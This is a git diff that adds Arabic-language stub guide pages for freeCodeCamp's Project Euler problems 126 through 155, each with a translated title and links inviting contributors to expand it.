diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md
new file mode 100644
index 0000000000..0de17b2dbc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md
@@ -0,0 +1,9 @@
+---
+title: Cuboid layers
+localeTitle: طبقات مكعبة
+---
+## المشكلة 126: طبقات مكعبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-126-cuboid-layers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md
new file mode 100644
index 0000000000..e2700df81e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md
@@ -0,0 +1,9 @@
+---
+title: abc-hits
+localeTitle: ABC-الزيارات
+---
+## المشكلة 127: abc-hits
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-127-abc-hits/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md
new file mode 100644
index 0000000000..fb109dc581
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md
@@ -0,0 +1,9 @@
+---
+title: Hexagonal tile differences
+localeTitle: اختلافات البلاط سداسي
+---
+## المشكلة 128: اختلافات البلاط سداسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-128-hexagonal-tile-differences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md
new file mode 100644
index 0000000000..d673f1144c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md
@@ -0,0 +1,9 @@
+---
+title: Repunit divisibility
+localeTitle: القسمة القسمة
+---
+## المشكلة 129: إعادة القسمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-129-repunit-divisibility/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md
new file mode 100644
index 0000000000..b1a168a509
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Large sum
+localeTitle: مبلغ كبير
+---
+## المشكلة 13: مبلغ كبير
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-13-large-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md
new file mode 100644
index 0000000000..21438939b9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Composites with prime repunit property
+localeTitle: المواد المركبة مع الملكية repunit رئيس الوزراء
+---
+## المشكلة 130: المركبات ذات الملكية الرئيسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-130-composites-with-prime-repunit-property/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md
new file mode 100644
index 0000000000..cd46b900ae
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime cube partnership
+localeTitle: شراكة رئيس الوزراء مكعب
+---
+## المشكلة 131: شراكة Prime Cube
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-131-prime-cube-partnership/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md
new file mode 100644
index 0000000000..8727d60a64
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md
@@ -0,0 +1,9 @@
+---
+title: Large repunit factors
+localeTitle: عوامل repunit كبيرة
+---
+## المشكلة 132: عوامل إعادة كبيرة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-132-large-repunit-factors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md
new file mode 100644
index 0000000000..430a41536f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md
@@ -0,0 +1,9 @@
+---
+title: Repunit nonfactors
+localeTitle: يكرر nonfactors
+---
+## المشكلة 133: إعادة إنشاء nonfactors
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-133-repunit-nonfactors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md
new file mode 100644
index 0000000000..5a5a95fd16
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime pair connection
+localeTitle: اتصال رئيس زوج
+---
+## المشكلة 134: اتصال رئيسي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-134-prime-pair-connection/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md
new file mode 100644
index 0000000000..e9a4cb7dc0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md
@@ -0,0 +1,9 @@
+---
+title: Same differences
+localeTitle: نفس الاختلافات
+---
+## المشكلة 135: نفس الاختلافات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-135-same-differences/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md
new file mode 100644
index 0000000000..a040bfc2a0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md
@@ -0,0 +1,9 @@
+---
+title: Singleton difference
+localeTitle: اختلاف سينجلتون
+---
+## المشكلة 136: الفرق سينجلتون
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-136-singleton-difference/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md
new file mode 100644
index 0000000000..ae8f32b565
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md
@@ -0,0 +1,9 @@
+---
+title: Fibonacci golden nuggets
+localeTitle: فيبوناتشي شذرات ذهبية
+---
+## المشكلة 137: شذرات فيبوناتشي الذهبية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-137-fibonacci-golden-nuggets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md
new file mode 100644
index 0000000000..b713e092af
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Special isosceles triangles
+localeTitle: المثلثات المتساوية الخاصة
+---
+## المشكلة 138: المثلثات المتساوية الخاصة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-138-special-isosceles-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md
new file mode 100644
index 0000000000..db842313d1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean tiles
+localeTitle: بلاط فيثاغوري
+---
+## المشكلة 139: بلاط فيثاغوري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-139-pythagorean-tiles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md
new file mode 100644
index 0000000000..d0ce38ed73
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Longest Collatz sequence
+localeTitle: أطول تسلسل Collatz
+---
+## المشكلة 14: أطول تسلسل Collatz
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-14-longest-collatz-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md
new file mode 100644
index 0000000000..7aa6cd5eab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md
@@ -0,0 +1,9 @@
+---
+title: Modified Fibonacci golden nuggets
+localeTitle: تعديل فيبوناتشي شذرات ذهبية
+---
+## المشكلة 140: شذرات فيبوناشي الذهبية المعدلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-140-modified-fibonacci-golden-nuggets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md
new file mode 100644
index 0000000000..4b9d12085e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating progressive numbers, n, which are also square
+localeTitle: التحقيق في الأرقام التقدمية ، ن ، والتي هي أيضا مربع
+---
+## المشكلة 141: التحقيق في الأرقام التقدمية ، n ، والتي هي أيضا مربعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-141-investigating-progressive-numbers-n-which-are-also-square/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md
new file mode 100644
index 0000000000..7efbf2a5e4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfect Square Collection
+localeTitle: مجموعة الكمال سكوير
+---
+## المشكلة 142: مجموعة Perfect Square
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-142-perfect-square-collection/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md
new file mode 100644
index 0000000000..f5dea789d6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the Torricelli point of a triangle
+localeTitle: التحقيق في نقطة Torricelli من المثلث
+---
+## المشكلة 143: التحقيق في نقطة Torricelli للمثلث
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-143-investigating-the-torricelli-point-of-a-triangle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md
new file mode 100644
index 0000000000..2155d05804
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating multiple reflections of a laser beam
+localeTitle: التحقيق في انعكاسات متعددة من شعاع الليزر
+---
+## المشكلة 144: التحقيق في انعكاسات متعددة من شعاع الليزر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-144-investigating-multiple-reflections-of-a-laser-beam/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md
new file mode 100644
index 0000000000..7a73caad9d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md
@@ -0,0 +1,9 @@
+---
+title: How many reversible numbers are there below one-billion?
+localeTitle: كم عدد الأرقام القابلة للانعكاس أقل من بليون؟
+---
+## المشكلة 145: كم عدد الأرقام القابلة للانعكاس أقل من بليون؟
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-145-how-many-reversible-numbers-are-there-below-one-billion/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md
new file mode 100644
index 0000000000..32e57edd8b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating a Prime Pattern
+localeTitle: التحقيق في نمط رئيس الوزراء
+---
+## المشكلة 146: التحقيق في نمط رئيس الوزراء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-146-investigating-a-prime-pattern/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md
new file mode 100644
index 0000000000..868616aef9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md
@@ -0,0 +1,9 @@
+---
+title: Rectangles in cross-hatched grids
+localeTitle: مستطيلات في شبكات عبر الفقس
+---
+## مشكلة 147: مستطيلات في شبكات عبر الفقس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-147-rectangles-in-cross-hatched-grids/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md
new file mode 100644
index 0000000000..0875bef4a9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring Pascal's triangle
+localeTitle: استكشاف مثلث باسكال
+---
+## المشكلة 148: استكشاف مثلث باسكال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-148-exploring-pascals-triangle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md
new file mode 100644
index 0000000000..ef98adc395
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Searching for a maximum-sum subsequence
+localeTitle: البحث عن الحد الأقصى للمبلغ المتبقي
+---
+## المشكلة 149: البحث عن الحد الأقصى لمجموع الدقائق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-149-searching-for-a-maximum-sum-subsequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md
new file mode 100644
index 0000000000..f95343acc7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md
@@ -0,0 +1,9 @@
+---
+title: Lattice paths
+localeTitle: مسارات شعرية
+---
+## المشكلة 15: مسارات شعرية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-15-lattice-paths/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md
new file mode 100644
index 0000000000..ef3cc8d569
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Searching a triangular array for a sub-triangle having minimum-sum
+localeTitle: البحث عن مصفوفة مثلثية لمثلث فرعي ذي حد أدنى
+---
+## المشكلة 150: البحث عن مصفوفة مثلثية لمثلث فرعي له الحد الأدنى
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-150-searching-a-triangular-array-for-a-sub-triangle-having-minimum-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md
new file mode 100644
index 0000000000..c3fe751588
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Paper sheets of standard sizes - an expected-value problem
+localeTitle: أوراق من الأحجام القياسية - مشكلة في القيمة المتوقعة
+---
+## المشكلة 151: الأوراق الورقية ذات الأحجام القياسية: مشكلة في القيمة المتوقعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-151-paper-sheets-of-standard-sizes-an-expected-value-problem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md
new file mode 100644
index 0000000000..023e0d0ae1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Writing 1/2 as a sum of inverse squares
+localeTitle: الكتابة 1/2 كمجموع للمربعات المعكوسة
+---
+## المشكلة 152: كتابة 1/2 كمجموع للمربعات المعكوسة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-152-writing-12-as-a-sum-of-inverse-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md
new file mode 100644
index 0000000000..5eb090077e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating Gaussian Integers
+localeTitle: التحقيق في الاعداد الغاوسيه
+---
+## مشكلة 153: التحقيق في أعداد صحيحة غوسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-153-investigating-gaussian-integers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md
new file mode 100644
index 0000000000..1b91c4ee95
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md
@@ -0,0 +1,9 @@
+---
+title: Exploring Pascal's pyramid
+localeTitle: استكشاف هرم باسكال
+---
+## المشكلة 154: استكشاف هرم باسكال
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-154-exploring-pascals-pyramid/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md
new file mode 100644
index 0000000000..153239ef22
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-155-counting-capacitor-circuits/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Capacitor Circuits
+localeTitle: عد الدوائر مكثف
+---
